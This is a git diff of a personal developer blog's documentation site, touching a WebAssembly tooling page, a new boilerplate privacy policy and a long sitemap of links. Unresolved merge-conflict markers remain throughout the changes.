 - Writing WebAssembly (`.wat`) by hand and converting to binary format using tools such as [wabt](images/https://github.com/webassembly/wabt)
 - 
 - Using [emscripten](images/https://emscripten.org/) with a C/C++ application
@@ -6822,6 +6913,15 @@ There are multiple methods available to generate WebAssembly binary files includ
 - Using [wasm-pack](images/https://rustwasm.github.io/wasm-pack/book/) with a Rust application
 
 - Using [AssemblyScript](images/https://www.assemblyscript.org/) if you prefer a TypeScript-like experience
+=======
+-   Writing WebAssembly (`.wat`) by hand and converting to binary format using tools such as [wabt](images/https://github.com/webassembly/wabt)
+-
+-   Using [emscripten](images/https://emscripten.org/) with a C/C++ application
+-
+-   Using [wasm-pack](images/https://rustwasm.github.io/wasm-pack/book/) with a Rust application
+
+-   Using [AssemblyScript](images/https://www.assemblyscript.org/) if you prefer a TypeScript-like experience
+>>>>>>> master
 
 > Some of these tools generate not only the binary file, but the JavaScript "glue" code and corresponding HTML files to run in the browser.
 
@@ -6853,8 +6953,16 @@ WebAssembly modules cannot directly access OS functionality on its own. A third-
 
 ## Resources
 
+<<<<<<< HEAD
 - [General WebAssembly Information](images/https://webassembly.org/)
 - 
 - [MDN Docs](images/https://developer.mozilla.org/en-US/docs/WebAssembly)
 
 - [Write WebAssembly by hand](images/https://webassembly.github.io/spec/core/text/index.html)
+=======
+-   [General WebAssembly Information](images/https://webassembly.org/)
+-
+-   [MDN Docs](images/https://developer.mozilla.org/en-US/docs/WebAssembly)
+
+-   [Write WebAssembly by hand](images/https://webassembly.github.io/spec/core/text/index.html)
+>>>>>>> master
diff --git a/src/pages/docs/docs/privacy-policy.md b/src/pages/docs/docs/privacy-policy.md
new file mode 100644
index 0000000000..684cb9c984
--- /dev/null
+++ b/src/pages/docs/docs/privacy-policy.md
@@ -0,0 +1,168 @@
+---
+title: Privacy Policy
+weight: 0
+excerpt: Privacy Policy
+seo:
+    title: 'Privacy Policy'
+    description: 'Privacy Policy'
+    robots: []
+    extra: []
+template: docs
+---
+
+
+    PRIVACY NOTICE
+
+- Visit our website at <https://bgoonz-blog.netlify.app/>
+
+<!---->
+
+- Use our Facebook application — <https://bgoonz-blog.netlify.app/>
+
+<!---->
+
+- Engage with us in other related ways ― including any sales, marketing, or events
+
+<!---->
+
+- "**Website**," we are referring to any website of ours that references or links to this policy
+
+<!---->
+
+- "**App**," we are referring to any application of ours that references or links to this policy, including any listed above
+
+<!---->
+
+- "**Services**," we are referring to our Website, App, and other related services, including any sales, marketing, or events
+
+<!---->
+
+- **To facilitate account creation and logon process.** If you choose to link your account with us to a third-party account (such as your Google or Facebook account), we use the information you allowed us to collect from those third parties to facilitate account creation and logon process for the performance of the contract.
+
+<!---->
+
+- **To post testimonials.** We post testimonials on our Services that may contain personal information. Prior to posting a testimonial, we will obtain your consent to use your name and the content of the testimonial. If you wish to update, or delete your testimonial, please contact us at \_\_\_\_\_\_\_\_\_\_ and be sure to include your name, testimonial location, and contact information.
+
+<!---->
+
+- **Request feedback.**  We may use your information to request feedback and to contact you about your use of our Services.
+
+<!---->
+
+- **To enable user-to-user communications.** We may use your information in order to enable user-to-user communications with each user's consent.
+
+<!---->
+
+- **To manage user accounts.**  We may use your information for the purposes of managing our account and keeping it in working order.
+
+<!---->
+
+- **To send administrative information to you.**  We may use your personal information to send you product, service and new feature information and/or information about changes to our terms, conditions, and policies.
+
+<!---->
+
+- **To protect our Services.**  We may use your information as part of our efforts to keep our Services safe and secure (for example, for fraud monitoring and prevention).
+
+<!---->
+
+- **To enforce our terms, conditions and policies for business purposes, to comply with legal and regulatory requirements or in connection with our contract.**
+
+<!---->
+
+- **To respond to legal requests and prevent harm.**  If we receive a subpoena or other legal request, we may need to inspect the data we hold to determine how to respond.
+- 
+- **Fulfill and manage your orders.** We may use your information to fulfill and manage your orders, payments, returns, and exchanges made through the Services.
+- 
+- **Administer prize draws and competitions.** We may use your information to administer prize draws and competitions when you elect to participate in our competitions.
+
+- **To deliver and facilitate delivery of services to the user.** We may use your information to provide you with the requested service.
+
+- **To respond to user inquiries/offer support to users.** We may use your information to respond to your inquiries and solve any potential issues you might have with the use of our Services.
+
+<!---->
+
+- **To send you marketing and promotional communications.** We and/or our third-party marketing partners may use the personal information you send to us for our marketing purposes, if this is in accordance with your marketing preferences. For example, when expressing an interest in obtaining information about us or our Services, subscribing to marketing or otherwise contacting us, we will collect personal information from you. You can opt-out of our marketing emails at any time (see the "[WHAT ARE YOUR PRIVACY RIGHTS?](https://cdpn.io/bgoonz/fullpage/LYLJZrW#privacyrights)" below).
+
+<!---->
+
+- **Deliver targeted advertising to you.** We may use your information to develop and display personalized content and advertising (and work with third parties who do so) tailored to your interests and/or location and to measure its effectiveness.
+
+<!---->
+
+- **Consent:** We may process your data if you have given us specific consent to use your personal information for a specific purpose.
+
+<!---->
+
+- **Legitimate Interests:** We may process your data when it is reasonably necessary to achieve our legitimate business interests.
+
+<!---->
+
+- **Performance of a Contract:** Where we have entered into a contract with you, we may process your personal information to fulfill the terms of our contract.
+
+<!---->
+
+- **Legal Obligations:** We may disclose your information where we are legally required to do so in order to comply with applicable law, governmental requests, a judicial proceeding, court order, or legal process, such as in response to a court order or a subpoena (including in response to public authorities to meet national security or law enforcement requirements).
+
+<!---->
+
+- **Vital Interests:** We may disclose your information where we believe it is necessary to investigate, prevent, or take action regarding potential violations of our policies, suspected fraud, situations involving potential threats to the safety of any person and illegal activities, or as evidence in litigation in which we are involved.
+
+<!---->
+
+- **Business Transfers.** We may share or transfer your information in connection with, or during negotiations of, any merger, sale of company assets, financing, or acquisition of all or a portion of our business to another company.
+
+<!---->
+
+- Receiving help through our customer support channels;
+
+<!---->
+
+- Participation in customer surveys or contests; and
+
+<!---->
+
+- Facilitation in the delivery of our Services and to respond to your inquiries.
+
+<!---->
+
+- whether we collect and use your personal information;
+
+<!---->
+
+- the categories of personal information that we collect;
+
+<!---->
+
+- the purposes for which the collected personal information is used;
+
+<!---->
+
+- whether we sell your personal information to third parties;
+
+<!---->
+
+- the categories of personal information that we sold or disclosed for a business purpose;
+
+<!---->
+
+- the categories of third parties to whom the personal information was sold or disclosed for a business purpose; and
+
+<!---->
+
+- the business or commercial purpose for collecting or selling personal information.
+
+<!---->
+
+- you may object to the processing of your personal data
+
+<!---->
+
+- you may request correction of your personal data if it is incorrect or no longer relevant, or ask to restrict the processing of the data
+
+<!---->
+
+- you can designate an authorized agent to make a request under the CCPA on your behalf. We may deny a request from an authorized agent that does not submit proof that they have been validly authorized to act on your behalf in accordance with the CCPA.
+
+<!---->
+
+- you may request to opt-out from future selling of your personal information to third parties. Upon receiving a request to opt-out, we will act upon the request as soon as feasibly possible, but no later than 15 days from the date of the request submission.
diff --git a/src/pages/docs/docs/sitemap.md b/src/pages/docs/docs/sitemap.md
index bbec214ce4..0cdcde7e53 100644
--- a/src/pages/docs/docs/sitemap.md
+++ b/src/pages/docs/docs/sitemap.md
@@ -11,6 +11,7 @@ seo:
 template: docs
 ---
 
+
 <details>
 
 <summary>  Update </summary>
@@ -499,6 +500,7 @@ template: docs
     - [📰blog📰/python-resources](https://bgoonz-blog.netlify.app/blog/python-resources)
     - [📰blog📰/web-dev-trends](https://bgoonz-blog.netlify.app/blog/web-dev-trends)
     - [📰blog📰/web-scraping](https://bgoonz-blog.netlify.app/blog/web-scraping)
+<<<<<<< HEAD
 
 </details>
 
@@ -636,6 +638,8 @@ template: docs
     - [📚docs📚/docs/regex-in-js](https://bgoonz-blog.netlify.app/docs/docs/regex-in-js)
     - [📚docs📚/docs/sitemap](https://bgoonz-blog.netlify.app/docs/docs/sitemap)
     - [📚docs📚/docs/snippets](https://bgoonz-blog.netlify.app/docs/docs/snippets)
+=======
+>>>>>>> master
 
 </details>
 
@@ -646,10 +650,19 @@ template: docs
 <summary>
  <ins>📚Docs📚 - 🕸Data Structures & Algorithms🕸</h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/🕸ds-algo🕸](https://bgoonz-blog.netlify.app/docs/ds-algo)
     - [📚docs📚/🕸ds-algo🕸/big-o](https://bgoonz-blog.netlify.app/docs/ds-algo/big-o)
     - [📚docs📚/🕸ds-algo🕸/ds-algo-interview](https://bgoonz-blog.netlify.app/docs/ds-algo/ds-algo-interview)
     - [📚docs📚/🕸ds-algo🕸/ds-overview](https://bgoonz-blog.netlify.app/docs/ds-algo/ds-overview)
+=======
+- [📚docs📚/about](https://bgoonz-blog.netlify.app/docs/about)
+    - [📚docs📚/about/README](https://bgoonz-blog.netlify.app/docs/about/README)
+    - [📚docs📚/about/eng-portfolio](https://bgoonz-blog.netlify.app/docs/about/eng-portfolio)
+    - [📚docs📚/about/intrests](https://bgoonz-blog.netlify.app/docs/about/intrests)
+    - [📚docs📚/about/job-search](https://bgoonz-blog.netlify.app/docs/about/job-search)
+    - [📚docs📚/about/resume](https://bgoonz-blog.netlify.app/docs/about/resume)
+>>>>>>> master
 
 </details>
 
@@ -659,9 +672,35 @@ template: docs
 
 <summary><ins><h6>📚Docs📚  - ❓FAQ❓</h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/faq](https://bgoonz-blog.netlify.app/docs/faq)
     - [📚docs📚/❓faq❓/contact](https://bgoonz-blog.netlify.app/docs/faq/contact)
     - [📚docs📚/❓faq❓/plug-ins](https://bgoonz-blog.netlify.app/docs/faq/plug-ins)
+=======
+- [📚docs📚/🗞️articles🗞️](https://bgoonz-blog.netlify.app/docs/articles)
+    - [📚docs📚/🗞️articles🗞️basic-web-dev](https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev)
+    - [📚docs📚/🗞️articles🗞️buffers](https://bgoonz-blog.netlify.app/docs/articles/buffers)
+    - [📚docs📚/🗞️articles🗞️common-modules](https://bgoonz-blog.netlify.app/docs/articles/common-modules)
+    - [📚docs📚/🗞️articles🗞️dev-dep](https://bgoonz-blog.netlify.app/docs/articles/dev-dep)
+    - [📚docs📚/🗞️articles🗞️event-loop](https://bgoonz-blog.netlify.app/docs/articles/event-loop)
+    - [📚docs📚/🗞️articles🗞️fs-module](https://bgoonz-blog.netlify.app/docs/articles/fs-module)
+    - [📚docs📚/🗞️articles🗞️how-search-engines-work](https://bgoonz-blog.netlify.app/docs/articles/how-search-engines-work)
+    - [📚docs📚/🗞️articles🗞️how-the-web-works](https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works)
+    - [📚docs📚/🗞️articles🗞️intro](https://bgoonz-blog.netlify.app/docs/articles/intro)
+    - [📚docs📚/🗞️articles🗞️jamstack](https://bgoonz-blog.netlify.app/docs/articles/jamstack)
+    - [📚docs📚/🗞️articles🗞️nextjs](https://bgoonz-blog.netlify.app/docs/articles/nextjs)
+    - [📚docs📚/🗞️articles🗞️node-api-express](https://bgoonz-blog.netlify.app/docs/articles/node-api-express)
+    - [📚docs📚/🗞️articles🗞️nodejs](https://bgoonz-blog.netlify.app/docs/articles/nodejs)
+    - [📚docs📚/🗞️articles🗞️npm](https://bgoonz-blog.netlify.app/docs/articles/npm)
+    - [📚docs📚/🗞️articles🗞️os-module](https://bgoonz-blog.netlify.app/docs/articles/os-module)
+    - [📚docs📚/🗞️articles🗞️reading-files](https://bgoonz-blog.netlify.app/docs/articles/reading-files)
+    - [📚docs📚/🗞️articles🗞️semantic](https://bgoonz-blog.netlify.app/docs/articles/semantic)
+    - [📚docs📚/🗞️articles🗞️semantic-html](https://bgoonz-blog.netlify.app/docs/articles/semantic-html)
+    - [📚docs📚/🗞️articles🗞️url](https://bgoonz-blog.netlify.app/docs/articles/url)
+    - [📚docs📚/🗞️articles🗞️web-standards-checklist](https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist)
+    - [📚docs📚/🗞️articles🗞️webdev-tools](https://bgoonz-blog.netlify.app/docs/articles/webdev-tools)
+    - [📚docs📚/🗞️articles🗞️writing-files](https://bgoonz-blog.netlify.app/docs/articles/writing-files)
+>>>>>>> master
 
 </details>
 
@@ -671,12 +710,21 @@ template: docs
 
 <summary><ins><h6>📚Docs📚 - 🧑‍🔬Interactive🧑‍🔬 </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/interact](https://bgoonz-blog.netlify.app/docs/interact)
     - [📚docs📚/🧑‍🔬interact🧑‍🔬/callstack-visual](https://bgoonz-blog.netlify.app/docs/interact/callstack-visual)
     - [📚docs📚/🧑‍🔬interact🧑‍🔬/clock](https://bgoonz-blog.netlify.app/docs/interact/clock)
     - [📚docs📚/🧑‍🔬interact🧑‍🔬/jupyter-notebooks](https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks)
     - [📚docs📚/🧑‍🔬interact🧑‍🔬/other-sites](https://bgoonz-blog.netlify.app/docs/interact/other-sites)
     - [📚docs📚/🧑‍🔬interact🧑‍🔬/video-chat](https://bgoonz-blog.netlify.app/docs/interact/video-chat)
+=======
+- [📚Docs - Audio🔊](https://bgoonz-blog.netlify.app/docs/audio)
+    - [📚docs📚/audio/dfft](https://bgoonz-blog.netlify.app/docs/audio/dfft)
+    - [📚docs📚/audio/discrete-fft](https://bgoonz-blog.netlify.app/docs/audio/discrete-fft)
+    - [📚docs📚/audio/dtw-python-explained](https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained)
+    - [📚docs📚/audio/dynamic-time-warping](https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping)
+    - [📚docs📚/audio/web-audio-api](https://bgoonz-blog.netlify.app/docs/audio/web-audio-api)
+>>>>>>> master
 
 </details>
 
@@ -686,6 +734,7 @@ template: docs
 
 <summary><ins><h6>📚Docs📚 - Javascript</h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/javascript](https://bgoonz-blog.netlify.app/docs/javascript)
     - [📚docs📚/javascript/arrow-functions](https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions)
     - [📚docs📚/javascript/asyncjs](https://bgoonz-blog.netlify.app/docs/javascript/asyncjs)
@@ -699,6 +748,19 @@ template: docs
     - [📚docs📚/javascript/promises](https://bgoonz-blog.netlify.app/docs/javascript/promises)
     - [📚docs📚/javascript/review](https://bgoonz-blog.netlify.app/docs/javascript/review)
     - [📚docs📚/javascript/this-is-about-this](https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this)
+=======
+- [📚docs📚/career](https://bgoonz-blog.netlify.app/docs/career)
+    - [📚docs📚/career/dev-interview](https://bgoonz-blog.netlify.app/docs/career/dev-interview)
+    - [📚docs📚/career/dos-and-donts](https://bgoonz-blog.netlify.app/docs/career/dos-and-donts)
+    - [📚docs📚/career/job-boards](https://bgoonz-blog.netlify.app/docs/career/job-boards)
+    - [📚docs📚/career/web-interview](https://bgoonz-blog.netlify.app/docs/career/web-interview)
+    - [📚docs📚/career/web-interview2](https://bgoonz-blog.netlify.app/docs/career/web-interview2)
+    - [📚docs📚/career/web-interview3](https://bgoonz-blog.netlify.app/docs/career/web-interview3)
+    - [📚docs📚/career/web-interview4](https://bgoonz-blog.netlify.app/docs/career/web-interview4)
+    - [📚docs📚/interview/job-search-nav](https://bgoonz-blog.netlify.app/docs/interview/job-search-nav)
+    - [📚docs📚/interview/previous-concepts](https://bgoonz-blog.netlify.app/docs/interview/previous-concepts)
+    - [📚docs📚/interview/review-concepts](https://bgoonz-blog.netlify.app/docs/interview/review-concepts)
+>>>>>>> master
 
 </details>
 
@@ -708,6 +770,7 @@ template: docs
 
 <summary><ins><h6>📚Docs📚 -  JS-Tips        </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/js-tips](https://bgoonz-blog.netlify.app/docs/js-tips)
     - [📚docs📚/js-tips/abs](https://bgoonz-blog.netlify.app/docs/js-tips/abs)
     - [📚docs📚/js-tips/acos](https://bgoonz-blog.netlify.app/docs/js-tips/acos)
@@ -745,6 +808,12 @@ template: docs
     - [📚docs📚/js-tips/string](https://bgoonz-blog.netlify.app/docs/js-tips/string)
     - [📚docs📚/js-tips/this](https://bgoonz-blog.netlify.app/docs/js-tips/this)
     - [📚docs📚/js-tips/var](https://bgoonz-blog.netlify.app/docs/js-tips/var)
+=======
+- [📚docs📚/👫👫community👫👫](https://bgoonz-blog.netlify.app/docs/community)
+      - [📚docs📚/community/an-open-letter-2-future-developers](https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers)
+      - [📚docs📚/community/bookmarks](https://bgoonz-blog.netlify.app/docs/community/bookmarks)
+      - [📚docs📚/community/video-chat](https://bgoonz-blog.netlify.app/docs/community/video-chat)
+>>>>>>> master
 
 </details>
 
@@ -754,6 +823,7 @@ template: docs
 
 <summary><ins><h6>📚Docs📚 - Leetcode      </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/leetcode](https://bgoonz-blog.netlify.app/docs/leetcode)
     - [📚docs📚/leetcode/ContaineWitMosWater](https://bgoonz-blog.netlify.app/docs/leetcode/ContaineWitMosWater)
     - [📚docs📚/leetcode/DividTwIntegers](https://bgoonz-blog.netlify.app/docs/leetcode/DividTwIntegers)
@@ -771,6 +841,15 @@ template: docs
     - [📚docs📚/leetcode/StrintIntege(atoi)](<https://bgoonz-blog.netlify.app/docs/leetcode/StrintIntege(atoi)>)
     - [📚docs📚/leetcode/ValiParentheses](https://bgoonz-blog.netlify.app/docs/leetcode/ValiParentheses)
     - [📚docs📚/leetcode/ZigZaConversion](https://bgoonz-blog.netlify.app/docs/leetcode/ZigZaConversion)
+=======
+- [📚docs📚/💼content💼](https://bgoonz-blog.netlify.app/docs/content/)
+  - [📚docs📚/💼content💼/archive](https://bgoonz-blog.netlify.app/docs/content/archive)
+  - [📚docs📚/💼content💼/gatsby-Queries-Mutations](https://bgoonz-blog.netlify.app/docs/content/gatsby-Queries-Mutations)
+  - [📚docs📚/💼content💼/gists](https://bgoonz-blog.netlify.app/docs/content/gists)
+  - [📚docs📚/💼content💼/history-api](https://bgoonz-blog.netlify.app/docs/content/history-api)
+  - [📚docs📚/💼content💼/main-projects](https://bgoonz-blog.netlify.app/docs/content/main-projects)
+  - [📚docs📚/💼content💼/trouble-shooting](https://bgoonz-blog.netlify.app/docs/content/trouble-shooting)
+>>>>>>> master
 
 </details>
 
@@ -780,6 +859,7 @@ template: docs
 
 <summary><ins><h6>📚Docs📚 -  🌊 Overflow     </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/overflow](https://bgoonz-blog.netlify.app/docs/overflow)
   - [📚docs📚/overflow/html-spec](https://bgoonz-blog.netlify.app/docs/overflow/html-spec)
   - [📚docs📚/overflow/http](https://bgoonz-blog.netlify.app/docs/overflow/http)
@@ -793,6 +873,25 @@ template: docs
   - [📚docs📚/overflow/nodevsbrowser](https://bgoonz-blog.netlify.app/docs/overflow/nodevsbrowser)
   - [📚docs📚/overflow/understanding-firebase](https://bgoonz-blog.netlify.app/docs/overflow/understanding-firebase)
   - [📚docs📚/overflow/v8](https://bgoonz-blog.netlify.app/docs/overflow/v8)
+=======
+- [📚docs📚/docs](https://bgoonz-blog.netlify.app/docs/docs)
+    - [📚docs📚/docs/appendix](https://bgoonz-blog.netlify.app/docs/docs/appendix)
+    - [📚docs📚/docs/art-of-command-line](https://bgoonz-blog.netlify.app/docs/docs/art-of-command-line)
+    - [📚docs📚/docs/bash](https://bgoonz-blog.netlify.app/docs/docs/bash)
+    - [📚docs📚/docs/css](https://bgoonz-blog.netlify.app/docs/docs/css)
+    - [📚docs📚/docs/data-structures-docs](https://bgoonz-blog.netlify.app/docs/docs/data-structures-docs)
+    - [📚docs📚/docs/es-6-features](https://bgoonz-blog.netlify.app/docs/docs/es-6-features)
+    - [📚docs📚/docs/git-reference](https://bgoonz-blog.netlify.app/docs/docs/git-reference)
+    - [📚docs📚/docs/git-repos](https://bgoonz-blog.netlify.app/docs/docs/git-repos)
+    - [📚docs📚/docs/glossary](https://bgoonz-blog.netlify.app/docs/docs/glossary)
+    - [📚docs📚/docs/html-tags](https://bgoonz-blog.netlify.app/docs/docs/html-tags)
+    - [📚docs📚/docs/markdown](https://bgoonz-blog.netlify.app/docs/docs/markdown)
+    - [📚docs📚/docs/no-whiteboarding](https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding)
+    - [📚docs📚/docs/node-docs-complete](https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete)
+    - [📚docs📚/docs/regex-in-js](https://bgoonz-blog.netlify.app/docs/docs/regex-in-js)
+    - [📚docs📚/docs/sitemap](https://bgoonz-blog.netlify.app/docs/docs/sitemap)
+    - [📚docs📚/docs/snippets](https://bgoonz-blog.netlify.app/docs/docs/snippets)
+>>>>>>> master
 
 </details>
 
@@ -802,12 +901,19 @@ template: docs
 
 <summary><ins><h6>📚Docs📚 - Projects  </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/projects](https://bgoonz-blog.netlify.app/docs/projects)
     - [📚docs📚/projects/embeded-websites](https://bgoonz-blog.netlify.app/docs/projects/embeded-websites)
     - [📚docs📚/projects/list-of-projects](https://bgoonz-blog.netlify.app/docs/projects/list-of-projects)
     - [📚docs📚/projects/mini-projects](https://bgoonz-blog.netlify.app/docs/projects/mini-projects)
     - [📚docs📚/projects/mini-projects2](https://bgoonz-blog.netlify.app/docs/projects/mini-projects2)
     - [📚docs📚/projects/my-websites](https://bgoonz-blog.netlify.app/docs/projects/my-websites)
+=======
+- [📚docs📚/🕸ds-algo🕸](https://bgoonz-blog.netlify.app/docs/ds-algo)
+    - [📚docs📚/🕸ds-algo🕸/big-o](https://bgoonz-blog.netlify.app/docs/ds-algo/big-o)
+    - [📚docs📚/🕸ds-algo🕸/ds-algo-interview](https://bgoonz-blog.netlify.app/docs/ds-algo/ds-algo-interview)
+    - [📚docs📚/🕸ds-algo🕸/ds-overview](https://bgoonz-blog.netlify.app/docs/ds-algo/ds-overview)
+>>>>>>> master
 
 </details>
 
@@ -817,6 +923,7 @@ template: docs
 
 <summary><ins><h6>📚Docs📚  - 🐍Python🐍  </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/🐍python🐍](https://bgoonz-blog.netlify.app/docs/python)
     - [📚docs📚/🐍python🐍/at-length](https://bgoonz-blog.netlify.app/docs/python/at-length)
     - [📚docs📚/🐍python🐍/cheat-sheet](https://bgoonz-blog.netlify.app/docs/python/cheat-sheet)
@@ -829,6 +936,11 @@ template: docs
     - [📚docs📚/🐍python🐍/intro-for-js-devs](https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs)
     - [📚docs📚/🐍python🐍/python-quiz](https://bgoonz-blog.netlify.app/docs/python/python-quiz)
     - [📚docs📚/🐍python🐍/snippets](https://bgoonz-blog.netlify.app/docs/python/snippets)
+=======
+- [📚docs📚/faq](https://bgoonz-blog.netlify.app/docs/faq)
+    - [📚docs📚/❓faq❓/contact](https://bgoonz-blog.netlify.app/docs/faq/contact)
+    - [📚docs📚/❓faq❓/plug-ins](https://bgoonz-blog.netlify.app/docs/faq/plug-ins)
+>>>>>>> master
 
 </details>
 
@@ -838,6 +950,7 @@ template: docs
 
 <summary><ins><h6>📚Docs📚  - 📚🏃‍♂️Quick Reference📚🏃‍♂️   </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/quick-ref](https://bgoonz-blog.netlify.app/docs/quick-ref)
     - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/Emmet](https://bgoonz-blog.netlify.app/docs/quick-ref/Emmet)
     - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/all-emojis](https://bgoonz-blog.netlify.app/docs/quick-ref/all-emojis)
@@ -857,6 +970,14 @@ template: docs
     - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/understanding-path](https://bgoonz-blog.netlify.app/docs/quick-ref/understanding-path)
     - [📚docs📚/🏃‍♂️📚quick-ref📚🏃‍♂️/vscode-themes](https://bgoonz-blog.netlify.app/docs/quick-ref/vscode-themes)
     - [📚docs📚/⚛️react⚛️/accessibility](https://bgoonz-blog.netlify.app/docs/react/accessibility)
+=======
+- [📚docs📚/interact](https://bgoonz-blog.netlify.app/docs/interact)
+    - [📚docs📚/🧑‍🔬interact🧑‍🔬/callstack-visual](https://bgoonz-blog.netlify.app/docs/interact/callstack-visual)
+    - [📚docs📚/🧑‍🔬interact🧑‍🔬/clock](https://bgoonz-blog.netlify.app/docs/interact/clock)
+    - [📚docs📚/🧑‍🔬interact🧑‍🔬/jupyter-notebooks](https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks)
+    - [📚docs📚/🧑‍🔬interact🧑‍🔬/other-sites](https://bgoonz-blog.netlify.app/docs/interact/other-sites)
+    - [📚docs📚/🧑‍🔬interact🧑‍🔬/video-chat](https://bgoonz-blog.netlify.app/docs/interact/video-chat)
+>>>>>>> master
 
 </details>
 
@@ -866,6 +987,7 @@ template: docs
 
 <summary><ins><h6>📚Docs📚  - ⚛️React⚛️ </h6></ins></summary>
 
+<<<<<<< HEAD
 - [📚docs📚/⚛️react⚛️](https://bgoonz-blog.netlify.app/docs/react)
     - [📚docs📚/⚛️react⚛️/ajax-n-apis](https://bgoonz-blog.netlify.app/docs/react/ajax-n-apis)
     - [📚docs📚/⚛️react⚛️/cheatsheet](https://bgoonz-blog.netlify.app/docs/react/cheatsheet)
@@ -879,6 +1001,21 @@ template: docs
     - [📚docs📚/⚛️react⚛️/react-patterns-by-usecase](https://bgoonz-blog.netlify.app/docs/react/react-patterns-by-usecase)
     - [📚docs📚/⚛️react⚛️/react2](https://bgoonz-blog.netlify.app/docs/react/react2)
     - [📚docs📚/⚛️react⚛️/render-elements](https://bgoonz-blog.netlify.app/docs/react/render-elements)
+=======
+- [📚docs📚/javascript](https://bgoonz-blog.netlify.app/docs/javascript)
+    - [📚docs📚/javascript/arrow-functions](https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions)
+    - [📚docs📚/javascript/asyncjs](https://bgoonz-blog.netlify.app/docs/javascript/asyncjs)
+    - [📚docs📚/javascript/await-keyword](https://bgoonz-blog.netlify.app/docs/javascript/await-keyword)
+    - [📚docs📚/javascript/bigo](https://bgoonz-blog.netlify.app/docs/javascript/bigo)
+    - [📚docs📚/javascript/clean-code](https://bgoonz-blog.netlify.app/docs/javascript/clean-code)
+    - [📚docs📚/javascript/constructor-functions](https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions)
+    - [📚docs📚/javascript/cs-basics-in-js](https://bgoonz-blog.netlify.app/docs/javascript/cs-basics-in-js)
+    - [📚docs📚/javascript/for-loops](https://bgoonz-blog.netlify.app/docs/javascript/for-loops)
+    - [📚docs📚/javascript/part2-pojo](https://bgoonz-blog.netlify.app/docs/javascript/part2-pojo)
+    - [📚docs📚/javascript/promises](https://bgoonz-blog.netlify.app/docs/javascript/promises)
+    - [📚docs📚/javascript/review](https://bgoonz-blog.netlify.app/docs/javascript/review)
+    - [📚docs📚/javascript/this-is-about-this](https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this)
+>>>>>>> master
 
 </details>
 
@@ -888,6 +1025,217 @@ template: docs
 
 <summary><ins><h6>📚Docs📚  -  ※🕮Reference Materials🕮※</h6></ins></summary>
 
+<<<<<<< HEAD
+=======
+- [📚docs📚/js-tips](https://bgoonz-blog.netlify.app/docs/js-tips)
+    - [📚docs📚/js-tips/abs](https://bgoonz-blog.netlify.app/docs/js-tips/abs)
+    - [📚docs📚/js-tips/acos](https://bgoonz-blog.netlify.app/docs/js-tips/acos)
+    - [📚docs📚/js-tips/acosh](https://bgoonz-blog.netlify.app/docs/js-tips/acosh)
+    - [📚docs📚/js-tips/addition](https://bgoonz-blog.netlify.app/docs/js-tips/addition)
+    - [📚docs📚/js-tips/all](https://bgoonz-blog.netlify.app/docs/js-tips/all)
+    - [📚docs📚/js-tips/allsettled](https://bgoonz-blog.netlify.app/docs/js-tips/allsettled)
+    - [📚docs📚/js-tips/any](https://bgoonz-blog.netlify.app/docs/js-tips/any)
+    - [📚docs📚/js-tips/array](https://bgoonz-blog.netlify.app/docs/js-tips/array)
+    - [📚docs📚/js-tips/array-methods](https://bgoonz-blog.netlify.app/docs/js-tips/array-methods)
+    - [📚docs📚/js-tips/arrow_functions](https://bgoonz-blog.netlify.app/docs/js-tips/arrow_functions)
+    - [📚docs📚/js-tips/async_function](https://bgoonz-blog.netlify.app/docs/js-tips/async_function)
+    - [📚docs📚/js-tips/bad_radix](https://bgoonz-blog.netlify.app/docs/js-tips/bad_radix)
+    - [📚docs📚/js-tips/bind](https://bgoonz-blog.netlify.app/docs/js-tips/bind)
+    - [📚docs📚/js-tips/classes](https://bgoonz-blog.netlify.app/docs/js-tips/classes)
+    - [📚docs📚/js-tips/concat](https://bgoonz-blog.netlify.app/docs/js-tips/concat)
+    - [📚docs📚/js-tips/conditional_operator](https://bgoonz-blog.netlify.app/docs/js-tips/conditional_operator)
+    - [📚docs📚/js-tips/const](https://bgoonz-blog.netlify.app/docs/js-tips/const)
+    - [📚docs📚/js-tips/create](https://bgoonz-blog.netlify.app/docs/js-tips/create)
+    - [📚docs📚/js-tips/date](https://bgoonz-blog.netlify.app/docs/js-tips/date)
+    - [📚docs📚/js-tips/eval](https://bgoonz-blog.netlify.app/docs/js-tips/eval)
+    - [📚docs📚/js-tips/every](https://bgoonz-blog.netlify.app/docs/js-tips/every)
+    - [📚docs📚/js-tips/filter](https://bgoonz-blog.netlify.app/docs/js-tips/filter)
+    - [📚docs📚/js-tips/for...of](https://bgoonz-blog.netlify.app/docs/js-tips/for...of)
+    - [📚docs📚/js-tips/foreach](https://bgoonz-blog.netlify.app/docs/js-tips/foreach)
+    - [📚docs📚/js-tips/functions](https://bgoonz-blog.netlify.app/docs/js-tips/functions)
+    - [📚docs📚/js-tips/import](https://bgoonz-blog.netlify.app/docs/js-tips/import)
